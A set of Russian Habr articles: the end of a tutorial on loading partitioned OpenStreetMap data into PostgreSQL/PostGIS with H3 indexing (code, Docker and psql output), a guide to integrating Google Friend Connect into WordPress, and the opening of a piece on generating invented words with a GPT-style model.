System.out.println("processing max time "+ blockStatistics.stream().map(BlockStat::getProcessingTime).mapToLong(Long::longValue).max().orElse(0));
System.out.println("nodes "+ blockStatistics.stream().map(BlockStat::getNodeCount).mapToLong(Long::longValue).sum());
System.out.println("ways "+ blockStatistics.stream().map(BlockStat::getWayCount).mapToLong(Long::longValue).sum());
System.out.println("relations "+ blockStatistics.stream().map(BlockStat::getRelationCount).mapToLong(Long::longValue).sum());
System.out.println("relation members "+ blockStatistics.stream().map(BlockStat::getRelationMembersCount).mapToLong(Long::longValue).sum());
System.out.println("multipolygon count "+ multipolygonCount);
if(!parameters.collectOnlyStat) {
savePartitioningScripts(resultDirectory, parameters.scriptCount,
parameters.thresholdPercentFromMaxPartition, blockStatistics, parameters.columnarStorage);
}
MultipolygonTime multipolygonTime = new MultipolygonTime(); //multipolygonCount calculation is only one reason why this generator at the end of process
if(!parameters.collectOnlyStat) {
multipolygonTime = ExternalProcessing.prepareMultipolygonDataAndScripts(sourcePbfFile,
resultDirectory, parameters.scriptCount, multipolygonCount);
}
PbfStatistics statistics = new PbfStatistics(blockStatistics);
statistics.setMultipolygonCount(multipolygonCount);
statistics.setDataProcessingTime(dataProcessingTime);
statistics.setAddLocationsToWaysTime(blocks.getAddLocationsToWaysTime());
statistics.setPbfSplitTime(blocks.getPbfSplitTime());
statistics.setMultipolygonExportTime(multipolygonTime.getMultipolygonExportTime());
statistics.setSplitMultipolygonByPartsTime(multipolygonTime.getSplitMultipolygonByPartsTime());
statistics.setTotalTime(System.currentTimeMillis()-commandStartTime);
saveStatistics(resultDirectory, statistics);
}
}
```
Все это позволит в будущем легко перенести обработку в Apache Spark, что позволит еще больше повысить параллелизм обработки секций PBF дампа в распределенной среде. Но опять же надо доделать прототип и измерить производительность — стоит ли игра свеч. Для генерации parquet файлов такой подход по моему мнению будет иметь смысл, а для PostgreSQL TSV файлов вряд ли.
Первые шаги с Openstreetmap\_h3
-------------------------------
Итак, все что нам потребуется для начала: база данных PostgreSQL 14, данные проекта Openstreetmap и обычный ноутбук. В моем случае это Dell Latitude 7320: i7–1165G7@2.80GHz, 16Гб ОЗУ с 2Тб NVMe накопителем. Проект работает как с дампом всего мира в формате PBF, так и региональными выгрузками c [Geofabrik](https://download.geofabrik.de/index.html)
Клонируем и собираем проект:
```
git clone https://github.com/igor-suhorukov/openstreetmap_h3.git
cd openstreetmap_h3
mvn install
```
Для работы проект требует Docker. При запуске отображается список доступных параметров и их описание:
```
~/dev/projects/oss_contrib/openstreetmap_h3$ java -jar target/osm-to-pgsnapshot-schema-ng-1.0-SNAPSHOT.jar
The following option is required: [-source_pbf]
Usage: [options]
Options:
\* -source\_pbf
Source path for OpenStreetMap data in PBF format
-collect\_only\_statistics
Collect only statistics from data - partition distribution
Default: false
-columnar\_storage
Use columnar storage in PostgreSql tables for nodes/ways/multipolygon
Default: false
-data\_partition\_ratio
Filling ratio from maximum size of partition. This parameter change
PostgreSQL partitions count
Default: 0.48
-help
Information about command line parameters
-pg\_script\_count
Script count for PostgreSQL parallel COPY
Default: 4
-result\_in\_arrow
Save data transforming and enrichment in Apache Arrow format
Default: false
-result\_in\_tsv
Save result data in TabSeparatedValue format for PostgreSQL COPY
Default: true
-scale\_approx\_calc
Approximate scale calculation. Value 'false' - distance in meter
Default: false
-skip\_buildings
Skip any ways with 'building' tag
Default: false
-worker\_threads
Worker threads count for data processing
Default: 4
```
После этого загружаем OSM [PBD дамп](https://planet.openstreetmap.org/pbf/) планеты или какую‑либо одну страну с [Geofabric](https://download.geofabrik.de/asia/thailand.html)
```
java -jar target/osm-to-pgsnapshot-schema-ng-1.0-SNAPSHOT.jar -source_pbf /home/acc/dev/map/thailand/thailand-latest.osm.pbf
```
В результате получаем набор скриптов для параллельной загрузки в БД:
```
~/dev/map/thailand/thailand-latest_loc_ways$ tree
.
├── import_related_metadata
│ ├── osm_file_block_content.tsv
│ ├── osm_file_block.tsv
│ └── osm_file_statistics.tsv
├── multipolygon
│ ├── multipolygon_aa
│ ├── multipolygon_ab
│ ├── multipolygon_ac
│ ├── multipolygon_ad
│ └── multipolygon_ae
├── nodes
│ ├── 16713.tsv
│ ├── 16717.tsv
│ ├── 16744.tsv
│ ├── 16745.tsv
│ ├── 16747.tsv
│ ├── 16748.tsv
│ ├── 16749.tsv
│ ├── 25600.tsv
│ ├── 25601.tsv
│ ├── 25606.tsv
│ ├── 25620.tsv
│ ├── 25622.tsv
│ ├── 25632.tsv
│ ├── 25634.tsv
│ ├── 25636.tsv
│ ├── 25638.tsv
│ ├── 25648.tsv
│ ├── 25649.tsv
│ ├── 25650.tsv
│ ├── 25651.tsv
│ ├── 25652.tsv
│ ├── 25653.tsv
│ ├── 25654.tsv
│ ├── 25728.tsv
│ ├── 25729.tsv
│ ├── 25730.tsv
│ ├── 25731.tsv
│ ├── 25732.tsv
│ ├── 25733.tsv
│ ├── 25734.tsv
│ ├── 25744.tsv
│ ├── 25745.tsv
│ ├── 25748.tsv
│ ├── 25749.tsv
│ ├── 25756.tsv
│ ├── 25760.tsv
│ ├── 25761.tsv
│ ├── 25762.tsv
│ ├── 25763.tsv
│ ├── 25764.tsv
│ ├── 25765.tsv
│ ├── 25766.tsv
│ ├── 25774.tsv
│ ├── 25776.tsv
│ ├── 25777.tsv
│ ├── 25778.tsv
│ ├── 25779.tsv
│ ├── 25780.tsv
│ ├── 25781.tsv
│ ├── 25782.tsv
│ ├── 25873.tsv
│ ├── 25880.tsv
│ ├── 25881.tsv
│ ├── 25882.tsv
│ ├── 25883.tsv
│ ├── 25884.tsv
│ ├── 25885.tsv
│ ├── 25886.tsv
│ ├── 25985.tsv
│ ├── 25989.tsv
│ ├── 25992.tsv
│ ├── 25993.tsv
│ ├── 25994.tsv
│ ├── 25995.tsv
│ ├── 25996.tsv
│ ├── 25998.tsv
│ ├── 26000.tsv
│ ├── 26001.tsv
│ ├── 26003.tsv
│ ├── 26008.tsv
│ ├── 26009.tsv
│ ├── 26010.tsv
│ ├── 26011.tsv
│ ├── 26012.tsv
│ ├── 26013.tsv
│ ├── 26014.tsv
│ ├── 26019.tsv
│ ├── 26026.tsv
│ ├── 26029.tsv
│ └── 26030.tsv
├── relations
│ ├── 00000.tsv
│ └── 00001.tsv
├── sql
│ ├── nodes_import_000.sql
│ ├── nodes_import_001.sql
│ ├── nodes_import_002.sql
│ ├── nodes_import_003.sql
│ ├── ways_import_000.sql
│ ├── ways_import_001.sql
│ ├── ways_import_002.sql
│ ├── ways_import_003.sql
│ ├── y_multipoly_aa.sql
│ ├── y_multipoly_ab.sql
│ ├── y_multipoly_ac.sql
│ ├── y_multipoly_ad.sql
│ └── y_multipoly_ae.sql
├── static
│ ├── database_after_init.sql
│ ├── database_init.sql
│ ├── h3_poly.tsv.gz
│ ├── multipolygon.sql
│ ├── multipolygon_tables.sql
│ └── osmium_export.json
└── ways
├── 16717.tsv
├── 16744.tsv
├── 16745.tsv
├── 16747.tsv
├── 16748.tsv
├── 16749.tsv
├── 25620.tsv
├── 25622.tsv
├── 25634.tsv
├── 25638.tsv
├── 25648.tsv
├── 25649.tsv
├── 25650.tsv
├── 25651.tsv
├── 25652.tsv
├── 25653.tsv
├── 25654.tsv
├── 25728.tsv
├── 25729.tsv
├── 25730.tsv
├── 25731.tsv
├── 25732.tsv
├── 25733.tsv
├── 25734.tsv
├── 25744.tsv
├── 25745.tsv
├── 25748.tsv
├── 25749.tsv
├── 25756.tsv
├── 25760.tsv
├── 25761.tsv
├── 25762.tsv
├── 25763.tsv
├── 25764.tsv
├── 25765.tsv
├── 25766.tsv
├── 25774.tsv
├── 25776.tsv
├── 25777.tsv
├── 25778.tsv
├── 25779.tsv
├── 25780.tsv
├── 25781.tsv
├── 25782.tsv
├── 25873.tsv
├── 25880.tsv
├── 25881.tsv
├── 25882.tsv
├── 25883.tsv
├── 25884.tsv
├── 25886.tsv
├── 25984.tsv
├── 25985.tsv
├── 25989.tsv
├── 25992.tsv
├── 25993.tsv
├── 25994.tsv
├── 25995.tsv
├── 25996.tsv
├── 25998.tsv
├── 26000.tsv
├── 26001.tsv
├── 26003.tsv
├── 26008.tsv
├── 26009.tsv
├── 26010.tsv
├── 26011.tsv
├── 26012.tsv
├── 26013.tsv
├── 26014.tsv
├── 26017.tsv
├── 26019.tsv
├── 26026.tsv
├── 26030.tsv
└── 32767.tsv
7 directories, 184 files
```
И чтобы автоматически создать базу данных я использую свой docker образ PostgreSQL(Dockerfile в репозитории проекта) с предустановленными расширениями и скриптом инициализации БД, [поддерживающем многопоточную загрузку](https://github.com/igor-suhorukov/openstreetmap_h3/blob/master/postgis_docker_14-master/docker-entrypoint-initdb.d/init_db.sh) данных:
```
docker run --name postgis14-thailand --memory=12g --memory-swap=12g --memory-swappiness 0 --shm-size=1g -v /home/acc/dev/map/database/thailand:/var/lib/postgresql/data -v /home/acc/dev/map/thailand/thailand-latest_loc_ways:/input -e POSTGRES_PASSWORD=osmworld -e LD_LIBRARY_PATH=/usr/lib/jvm/java-11-openjdk-amd64/lib/server/ -d -p 5432:5432 -p 5005:5005 5d411c3be57f -c checkpoint_timeout='15 min' -c checkpoint_completion_target=0.9 -c shared_buffers='4096 MB' -c wal_buffers=-1 -c bgwriter_delay=200ms -c bgwriter_lru_maxpages=100 -c bgwriter_lru_multiplier=2.0 -c bgwriter_flush_after=0 -c max_wal_size='32768 MB' -c min_wal_size='16384 MB'
```
docker logs postgis14-thailand | tail -n 40
```
initdb: warning: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the option -A, or
--auth-local and --auth-host, the next time you run initdb.
2023-01-29 10:22:09.841 UTC [1] LOG: starting PostgreSQL 14.1 (Debian 14.1-1.pgdg110+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit
2023-01-29 10:22:09.841 UTC [1] LOG: listening on IPv4 address "0.0.0.0", port 5432
2023-01-29 10:22:09.841 UTC [1] LOG: listening on IPv6 address "::", port 5432
2023-01-29 10:22:09.847 UTC [1] LOG: listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
2023-01-29 10:22:09.855 UTC [163] LOG: database system was shut down at 2023-01-29 10:22:08 UTC
2023-01-29 10:22:09.863 UTC [1] LOG: database system is ready to accept connections
Time: 16.011 ms
ANALYZE
Time: 49.590 ms
CREATE TABLE
Time: 1.509 ms
COPY 1
Time: 1.110 ms
ANALYZE
Time: 1.167 ms
CREATE TABLE
Time: 1.284 ms
COPY 566
Time: 2.092 ms
ANALYZE
Time: 1.880 ms
CREATE TABLE
Time: 1.210 ms
COPY 17482
Time: 19.023 ms
ANALYZE
Time: 27.044 ms
SELECT 80
Time: 8.333 ms
ANALYZE
Time: 1.533 ms
SELECT 75
Time: 9.650 ms
ANALYZE
Time: 1.213 ms
2023-01-29 10:22:07.219 UTC [49] LOG: received fast shutdown request
waiting for server to shut down....2023-01-29 10:22:07.222 UTC [49] LOG: aborting any active transactions
2023-01-29 10:22:07.223 UTC [49] LOG: background worker "logical replication launcher" (PID 56) exited with exit code 1
2023-01-29 10:22:07.392 UTC [51] LOG: shutting down
..2023-01-29 10:22:09.631 UTC [49] LOG: database system is shut down
done
server stopped
PostgreSQL init process complete; ready for start up.
docker exec -it postgis14-thailand psql -U postgres -d osmworld
psql (14.1 (Debian 14.1-1.pgdg110+1))
Type "help" for help.
osmworld=# \d
List of relations
Schema | Name | Type | Owner
--------+------------------------+-------------------+----------
public | geography_columns | view | postgres
public | geometry_columns | view | postgres
public | h3_3_bounds_complex | table | postgres
public | multipolygon | partitioned table | postgres
public | multipolygon_000 | table | postgres
public | multipolygon_001 | table | postgres
public | multipolygon_002 | table | postgres
public | multipolygon_003 | table | postgres
public | multipolygon_004 | table | postgres
public | multipolygon_005 | table | postgres
public | multipolygon_006 | table | postgres
public | multipolygon_007 | table | postgres
public | multipolygon_008 | table | postgres
public | multipolygon_009 | table | postgres
public | multipolygon_010 | table | postgres
public | multipolygon_32767 | table | postgres
public | nodes | partitioned table | postgres
public | nodes_000 | table | postgres
public | nodes_001 | table | postgres
public | nodes_002 | table | postgres
public | nodes_003 | table | postgres
public | nodes_004 | table | postgres
public | nodes_005 | table | postgres
public | nodes_006 | table | postgres
public | nodes_007 | table | postgres
public | nodes_008 | table | postgres
public | nodes_009 | table | postgres
public | nodes_010 | table | postgres
public | osm_file_block | table | postgres
public | osm_file_block_content | table | postgres
public | osm_file_statistics | table | postgres
public | osm_stat_nodes_3_3 | table | postgres
public | osm_stat_ways_3_3 | table | postgres
public | relation_members | table | postgres
public | relations | table | postgres
public | spatial_ref_sys | table | postgres
public | ways | partitioned table | postgres
public | ways_000 | table | postgres
public | ways_001 | table | postgres
public | ways_002 | table | postgres
public | ways_003 | table | postgres
public | ways_004 | table | postgres
public | ways_005 | table | postgres
public | ways_006 | table | postgres
public | ways_007 | table | postgres
public | ways_008 | table | postgres
public | ways_009 | table | postgres
public | ways_010 | table | postgres
public | ways_32767 | table | postgres
(49 rows)
osmworld=# explain select h3_3, count(*) from ways group by 1;
QUERY PLAN
-------------------------------------------------------------------------------------------
Gather (cost=34456.99..97465.64 rows=76 width=10)
Workers Planned: 4
-> Parallel Append (cost=33456.99..96458.04 rows=19 width=10)
-> HashAggregate (cost=96457.88..96457.95 rows=7 width=10)
Group Key: ways_4.h3_3
-> Seq Scan on ways_004 ways_4 (cost=0.00..90269.92 rows=1237592 width=2)
-> HashAggregate (cost=60359.46..60359.53 rows=7 width=10)
Group Key: ways_9.h3_3
-> Seq Scan on ways_009 ways_9 (cost=0.00..56666.64 rows=738564 width=2)
-> HashAggregate (cost=39018.48..39018.54 rows=6 width=10)
Group Key: ways_7.h3_3
-> Seq Scan on ways_007 ways_7 (cost=0.00..36567.32 rows=490232 width=2)
-> HashAggregate (cost=33456.99..33457.06 rows=7 width=10)
Group Key: ways_2.h3_3
-> Seq Scan on ways_002 ways_2 (cost=0.00..31580.66 rows=375266 width=2)
-> HashAggregate (cost=30029.44..30029.53 rows=9 width=10)
Group Key: ways_5.h3_3
-> Seq Scan on ways_005 ways_5 (cost=0.00..28346.96 rows=336496 width=2)
-> HashAggregate (cost=26775.62..26775.72 rows=10 width=10)
Group Key: ways.h3_3
-> Seq Scan on ways_000 ways (cost=0.00..25251.75 rows=304775 width=2)
-> HashAggregate (cost=19023.96..19024.03 rows=7 width=10)
Group Key: ways_1.h3_3
-> Seq Scan on ways_001 ways_1 (cost=0.00..17901.97 rows=224397 width=2)
-> HashAggregate (cost=15682.35..15682.43 rows=8 width=10)
Group Key: ways_6.h3_3
-> Seq Scan on ways_006 ways_6 (cost=0.00..14803.23 rows=175823 width=2)
-> HashAggregate (cost=13881.85..13881.90 rows=5 width=10)
Group Key: ways_3.h3_3
-> Seq Scan on ways_003 ways_3 (cost=0.00..13173.90 rows=141590 width=2)
-> HashAggregate (cost=6970.89..6970.92 rows=3 width=10)
Group Key: ways_8.h3_3
-> Seq Scan on ways_008 ways_8 (cost=0.00..6567.26 rows=80726 width=2)
-> HashAggregate (cost=2385.09..2385.10 rows=1 width=10)
Group Key: ways_11.h3_3
-> Seq Scan on ways_32767 ways_11 (cost=0.00..2327.06 rows=11606 width=2)
-> HashAggregate (cost=37.55..37.59 rows=4 width=10)
Group Key: ways_10.h3_3
-> Seq Scan on ways_010 ways_10 (cost=0.00..36.70 rows=170 width=2)
(39 rows)
osmworld=# select h3_3, count(*) from ways group by 1 order by 2 desc limit 20;
h3_3 | count
-------+--------
25764 | 890643
26010 | 329973
25994 | 203645
25730 | 188810
25995 | 139373
26011 | 136930
25780 | 118165
25765 | 105996
26009 | 100196
25762 | 91177
26014 | 75555
26003 | 71479
26008 | 70353
25883 | 60808
25634 | 59705
25777 | 58151
16749 | 57887
25782 | 57509
25638 | 57296
25880 | 56838
(20 rows)
```
Запускаем контейнер базы с OSM данными всего мира и подключаемся к базе данных любым удобным пользователю клиентом:
```
docker start postgis14-planet-220704
psql -h 127.0.0.1 -p 5432 -U postgres -d osmworld
```
И любуемся статистикой базы всего мира (587 GB):
```
Table | Rows | Total Size | Table Size | Index(es) Size | TOAST Size
------------------------+-------+--------------------+--------------------+------------------+--------------------
*** TOTAL *** | ~1B | 587 GB (100.00%) | 501 GB (100.00%) | 54 GB (100.00%) | 32 GB (100.00%)
| | | | |
ways_051 | ~21M | 12 GB (2.02%) | 11 GB (2.14%) | 1070 MB (1.94%) | 73 MB (0.22%)
relation_members | ~113M | 9523 MB (1.58%) | 6136 MB (1.20%) | 3386 MB (6.15%) | 8192 bytes (0.00%)
ways_043 | ~14M | 8102 MB (1.35%) | 7334 MB (1.43%) | 737 MB (1.34%) | 31 MB (0.09%)
ways_052 | ~14M | 8013 MB (1.33%) | 7200 MB (1.40%) | 729 MB (1.32%) | 84 MB (0.26%)
ways_002 | ~17M | 7923 MB (1.32%) | 7013 MB (1.37%) | 870 MB (1.58%) | 40 MB (0.12%)
ways_001 | ~15M | 7360 MB (1.22%) | 6485 MB (1.26%) | 788 MB (1.43%) | 87 MB (0.26%)
ways_081 | ~14M | 6963 MB (1.16%) | 6127 MB (1.19%) | 716 MB (1.30%) | 120 MB (0.37%)
ways_004 | ~13M | 6886 MB (1.15%) | 6108 MB (1.19%) | 691 MB (1.25%) | 87 MB (0.27%)
ways_029 | ~11M | 6824 MB (1.14%) | 6197 MB (1.21%) | 567 MB (1.03%) | 60 MB (0.18%)
ways_047 | ~11M | 6750 MB (1.12%) | 6101 MB (1.19%) | 577 MB (1.05%) | 71 MB (0.22%)
ways_093 | ~13M | 6522 MB (1.09%) | 5749 MB (1.12%) | 644 MB (1.17%) | 128 MB (0.39%)
ways_095 | ~13M | 6451 MB (1.07%) | 5689 MB (1.11%) | 671 MB (1.22%) | 91 MB (0.28%)
ways_090 | ~12M | 6405 MB (1.07%) | 5708 MB (1.11%) | 620 MB (1.13%) | 77 MB (0.23%)
ways_003 | ~12M | 6401 MB (1.07%) | 5553 MB (1.08%) | 641 MB (1.16%) | 206 MB (0.63%)
multipolygon_32767 | ~187k | 6366 MB (1.06%) | 338 MB (0.07%) | 27 MB (0.05%) | 6002 MB (18.32%)
ways_005 | ~12M | 6317 MB (1.05%) | 5590 MB (1.09%) | 601 MB (1.09%) | 126 MB (0.38%)
ways_092 | ~12M | 6227 MB (1.04%) | 5511 MB (1.07%) | 610 MB (1.11%) | 107 MB (0.33%)
ways_074 | ~11M | 6208 MB (1.03%) | 5507 MB (1.07%) | 587 MB (1.07%) | 114 MB (0.35%)
ways_091 | ~11M | 6158 MB (1.02%) | 5425 MB (1.06%) | 578 MB (1.05%) | 156 MB (0.47%)
ways_098 | ~12M | 6154 MB (1.02%) | 5421 MB (1.06%) | 595 MB (1.08%) | 138 MB (0.42%)
ways_089 | ~11M | 6128 MB (1.02%) | 5418 MB (1.06%) | 576 MB (1.05%) | 134 MB (0.41%)
ways_080 | ~11M | 5973 MB (0.99%) | 5206 MB (1.01%) | 549 MB (1.00%) | 217 MB (0.66%)
ways_097 | ~11M | 5940 MB (0.99%) | 5298 MB (1.03%) | 547 MB (0.99%) | 95 MB (0.29%)
ways_045 | ~11M | 5877 MB (0.98%) | 5261 MB (1.03%) | 546 MB (0.99%) | 70 MB (0.21%)
ways_053 | ~9M | 5810 MB (0.97%) | 5289 MB (1.03%) | 487 MB (0.88%) | 34 MB (0.10%)
ways_019 | ~10M | 5794 MB (0.96%) | 5124 MB (1.00%) | 517 MB (0.94%) | 153 MB (0.47%)
ways_006 | ~10M | 5774 MB (0.96%) | 5033 MB (0.98%) | 510 MB (0.93%) | 231 MB (0.70%)
ways_046 | ~10M | 5702 MB (0.95%) | 5094 MB (0.99%) | 505 MB (0.92%) | 103 MB (0.31%)
ways_042 | ~10M | 5683 MB (0.95%) | 5075 MB (0.99%) | 496 MB (0.90%) | 112 MB (0.34%)
ways_049 | ~9M | 5663 MB (0.94%) | 5118 MB (1.00%) | 456 MB (0.83%) | 89 MB (0.27%)
ways_037 | ~9M | 5634 MB (0.94%) | 5040 MB (0.98%) | 447 MB (0.81%) | 147 MB (0.45%)
ways_054 | ~9M | 5627 MB (0.94%) | 4856 MB (0.95%) | 485 MB (0.88%) | 286 MB (0.87%)
ways_017 | ~10M | 5605 MB (0.93%) | 4950 MB (0.97%) | 507 MB (0.92%) | 148 MB (0.45%)
ways_075 | ~9M | 5587 MB (0.93%) | 4940 MB (0.96%) | 488 MB (0.89%) | 159 MB (0.49%)
ways_026 | ~9M | 5585 MB (0.93%) | 5064 MB (0.99%) | 482 MB (0.88%) | 39 MB (0.12%)
ways_048 | ~9M | 5584 MB (0.93%) | 4985 MB (0.97%) | 484 MB (0.88%) | 114 MB (0.35%)
ways_082 | ~10M | 5548 MB (0.92%) | 4890 MB (0.95%) | 500 MB (0.91%) | 158 MB (0.48%)
ways_000 | ~9M | 5460 MB (0.91%) | 4750 MB (0.93%) | 461 MB (0.84%) | 248 MB (0.76%)
ways_094 | ~10M | 5457 MB (0.91%) | 4737 MB (0.92%) | 493 MB (0.89%) | 227 MB (0.69%)
ways_033 | ~8M | 5454 MB (0.91%) | 4808 MB (0.94%) | 403 MB (0.73%) | 243 MB (0.74%)
ways_087 | ~9M | 5445 MB (0.91%) | 4808 MB (0.94%) | 463 MB (0.84%) | 173 MB (0.53%)
ways_010 | ~9M | 5357 MB (0.89%) | 4774 MB (0.93%) | 440 MB (0.80%) | 143 MB (0.44%)
ways_040 | ~9M | 5348 MB (0.89%) | 4722 MB (0.92%) | 467 MB (0.85%) | 159 MB (0.48%)
ways_088 | ~9M | 5262 MB (0.88%) | 4662 MB (0.91%) | 455 MB (0.83%) | 145 MB (0.44%)
ways_060 | ~8M | 5243 MB (0.87%) | 4673 MB (0.91%) | 420 MB (0.76%) | 150 MB (0.46%)
ways_096 | ~10M | 5207 MB (0.87%) | 4613 MB (0.90%) | 495 MB (0.90%) | 99 MB (0.30%)
ways_024 | ~8M | 5205 MB (0.87%) | 4722 MB (0.92%) | 431 MB (0.78%) | 52 MB (0.16%)
ways_071 | ~9M | 5198 MB (0.87%) | 4625 MB (0.90%) | 469 MB (0.85%) | 104 MB (0.32%)
:
```
Воспользуемся примером из моих [прошлых постов](https://habr.com/ru/post/686860/) и посчитаем количество зданий школ во всем мире с разбивкой данных по H3 индексу:
```
docker start postgis14-planet-220704
psql -h 127.0.0.1 -p 5432 -U postgres -d osmworld
Password for user postgres:
🧐 🐘 postgres_dba 6.0 installed. Use ":dba" to see menu
Timing is on.
psql (14.6 (Ubuntu 14.6-1.pgdg20.04+1), server 14.1 (Debian 14.1-1.pgdg110+1))
Type "help" for help.
osmworld=# \timing on
Timing is on.
osmworld=# create table school
as select h3_3, count(*) as "count" from ways
where closed and (tags->'building' = 'school'
or (tags->'building' is not null and tags->'amenity'='school'))
group by h3_3 order by 2 desc;
SELECT 6783
Time: 215154,128 ms (03:35,154)
```
Посмотрим план запроса, что же заняло эти 03:35 минуты у базы данных, как наш запрос выполнялся параллельно на всех партициях:
```
explain create table school
as select h3_3, count(*) as "count" from ways
where closed and (tags->'building' = 'school'
or (tags->'building' is not null and tags->'amenity'='school'))
group by h3_3 order by 2 desc
QUERY PLAN
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Gather Merge (cost=13217952.21..13219300.04 rows=11052 width=10)
Workers Planned: 6
-> Sort (cost=13216952.12..13216956.72 rows=1842 width=10)
Sort Key: (count(*)) DESC
-> Parallel Append (cost=1107174.96..13216852.21 rows=1842 width=10)
-> GroupAggregate (cost=1889369.47..1890603.83 rows=7 width=10)
Group Key: ways_51.h3_3
-> Sort (cost=1889369.47..1889780.90 rows=164572 width=2)
Sort Key: ways_51.h3_3
-> Seq Scan on ways_051 ways_51 (cost=0.00..1873744.28 rows=164572 width=2)
Filter: (closed AND (((tags -> 'building'::text) = 'school'::text) OR (((tags -> 'building'::text) IS NOT NULL) AND ((tags -> 'amenity'::text) = 'school'::text))))
-> HashAggregate (cost=1278539.18..1278539.58 rows=40 width=10)
Group Key: ways_2.h3_3
-> Seq Scan on ways_002 ways_2 (cost=0.00..1277795.15 rows=148806 width=2)
Filter: (closed AND (((tags -> 'building'::text) = 'school'::text) OR (((tags -> 'building'::text) IS NOT NULL) AND ((tags -> 'amenity'::text) = 'school'::text))))
-> GroupAggregate (cost=1269524.73..1270332.33 rows=7 width=10)
Group Key: ways_43.h3_3
-> Sort (cost=1269524.73..1269793.90 rows=107671 width=2)
Sort Key: ways_43.h3_3
-> Seq Scan on ways_043 ways_43 (cost=0.00..1260525.44 rows=107671 width=2)
Filter: (closed AND (((tags -> 'building'::text) = 'school'::text) OR (((tags -> 'building'::text) IS NOT NULL) AND ((tags -> 'amenity'::text) = 'school'::text))))
-> GroupAggregate (cost=1248285.94..1249040.42 rows=7 width=10)
Group Key: ways_52.h3_3
-> Sort (cost=1248285.94..1248537.41 rows=100588 width=2)
Sort Key: ways_52.h3_3
-> Seq Scan on ways_052 ways_52 (cost=0.00..1239928.03 rows=100588 width=2)
Filter: (closed AND (((tags -> 'building'::text) = 'school'::text) OR (((tags -> 'building'::text) IS NOT NULL) AND ((tags -> 'amenity'::text) = 'school'::text))))
...
JIT:
Functions: 806
Options: Inlining true, Optimization true, Expressions true, Deforming true
(612 rows)
```
И визуализируем результат в QGIS:
```
select
h3_to_geo_boundary_geometry(h3_3::h3index),
count
from school
where count>100
```
PostgreSQL поддерживается большинством ПО для визуализации данных, сложные запросы с оконными функциями, подзапросами также работают. Поскольку постгрес можно запускать почти на любом оборудовании то и геоаналитика доступна везде, лишь с вопросами к производительности.
Добро пожаловать в мир аналитики гео данных!
--------------------------------------------
Уникальность проекта OpenStreetMap в возможности каждого на планете использовать данные проекта, но с учетом объема данных, это было не так просто. Теперь для запуска базы не нужен мощный специализированный сервер и, надеюсь, что мой подход к секционированию данных OSM и возможность использовать для аналитики геопространственных данных PostgreSQL позволит большему количеству людей делать запросы к этому уникальному проекту и разрабатывать новые сервисы, которые позволят учитывать расстояния, объекты реального мира и улучшать мир вокруг нас. | https://habr.com/ru/post/714326/ | null | ru | null |
# Настройка и интеграция Google Friend Connect в WordPress
Google Friend Connect = GFC
Вы уже [подключили](http://interblog.org/archives/300) сайт к GFC
В статье рассмотрим 2 момента:
1. Замена системы регистрации пользователей.
2. Замена системы комментариев и рейтинга записей (постов).
#### 1. Заменяем систему регистрации пользователей.
а) На странице /wp-admin/options-general.php убираем галочку с «Любой может зарегистрироваться»
б) На странице /wp-admin/users.php удаляем всех пользователей с ролью «Подписчик» — этого, конечно, можно и не делать, но зачем захламлять базу данных блога ненужными записями?
в) В GFC в панели вашего сайта (слева) идем в «Members gadgets». Там есть выбор поставить «Members gadget» или «Sign In gadget». Я выбрал первое, потому что там не только будет ссылка на регистрацию, но и еще несколько дополнительных функций, связанных с профилями пользователей, плюс ко всему он смотрится лучше.
г) «Add a Members gadget» — выполняем необходимые настройки, получаем код и вставляем его в sidebar.php вашей темы. Место можно выбрать самостоятельно или же просто заменить ссылки:
`php wp_register(); ?
php wp_loginout(); ?`
В любом случае от всех ссылок на стандартные функции регистрации WordPress надо избавится.
#### 2. Заменяем систему комментариев и рейтинга записей (постов).
а) В GFC в панели вашего сайта идем в «Social gadgets». Тут выбор больше, чем в предыдущем разделе. Но нас интересуют «Wall gadget» и «Review/Rate gadget». Первый обычная «стена» — лента комментариев, второй — та же стена, плюс к этому возможность оценивать материал. Выбираем второй гаджет.
б) В опции «Scope» мы можем установить, к чему будет относиться этот гаджет: весь сайт, отдельная страница или к спец.ID. На малопосещаемых (до 1000 чел в день) не рекомендую ставить «отдельная страница», лучше общий для всего сайта. Настраиваем по своему вкусу и получаем код.
в) Теперь у нас есть выбор, где установить этот гаджет. Первый вариант — в сайдбаре, как реализовано на «ИнтерБлоге» и второй вариант — на страницах отдельных записей (советую размещать там, только если вы выбрали в пункте б — «отдельная страница»).
г) В первом случае прописываем код в sidebar.php, во втором в single.php. Причем, если вы установили код в сайдбаре, тогда ищем строку:
`php comments_template(); ?`
и удаляем её (это приведет к тому, что все старые комментарии перестанут отображаться), если вы выбрали второй вариант, то лучше всего код гаджета вставить вместо этой строчки.
д) Теперь можно отчистить базу от старых комментариев (раз уж вы их не выводите), удалив их на странице /wp-admin/edit-comments.php?mode=edit | https://habr.com/ru/post/53016/ | null | ru | null |
# Я уеду жить в Лейнвуд. Создаем новые слова при помощи GPT
Фантастический город. Нарисовано нейросетью.Предлагаю немного поразвлечься и научиться придумывать новые слова, которые звучат совсем как настоящие (прям как товары в Икее). Для начала вот вам десяток несуществующих городов:
> Лумберг, Сеф, Хирнов, Бинли, Лусский, Ноловорск, Сант-Гумит, Хойден, Голтон и Оголенд
>
>
И немного женских и имен:
> Инела, Каисья, Ганнора, Целия, Тарисана, Лелена, Феомина, Олиза, Нулина и Рослиба
>
>
Для запуска генерации нам не понадобится технических навыков, хотя технология, стоящая за этим, сейчас является очень перспективной и многофункциональной. Это генеративная нейронная сеть, способная решать множество задач по обработке естествнного языка (**NLP**). Это такие задачи как суммаризация (сделать из большого текста его резюме), понимание текста ([NLU](https://en.wikipedia.org/wiki/Natural-language_understanding)), вопросно-ответные системы, генерация (например, стихов, — на Хабре была хорошая [статья](https://habr.com/ru/company/sberdevices/blog/660717/)) и другие. Тема эта очень глубокая, поэтому далее я дам пару ссылок для любителей копнуть поглубже. А те, кто хочет "только спросить", может сразу приступить к созданию слов.
Генерировать будем скриптом makemore от Андрея Карпати (недавно писал про скрипт в канале [градиент обреченный](https://t.me/doomgrad)), который он выложил пару недель назад. Андрей является известным исследователем в мире ИИ и периодически радует народ такими вот игрушками, можно полазить по его [репозиторию](https://github.com/karpathy), там еще много интересного.
Делаем слова
------------
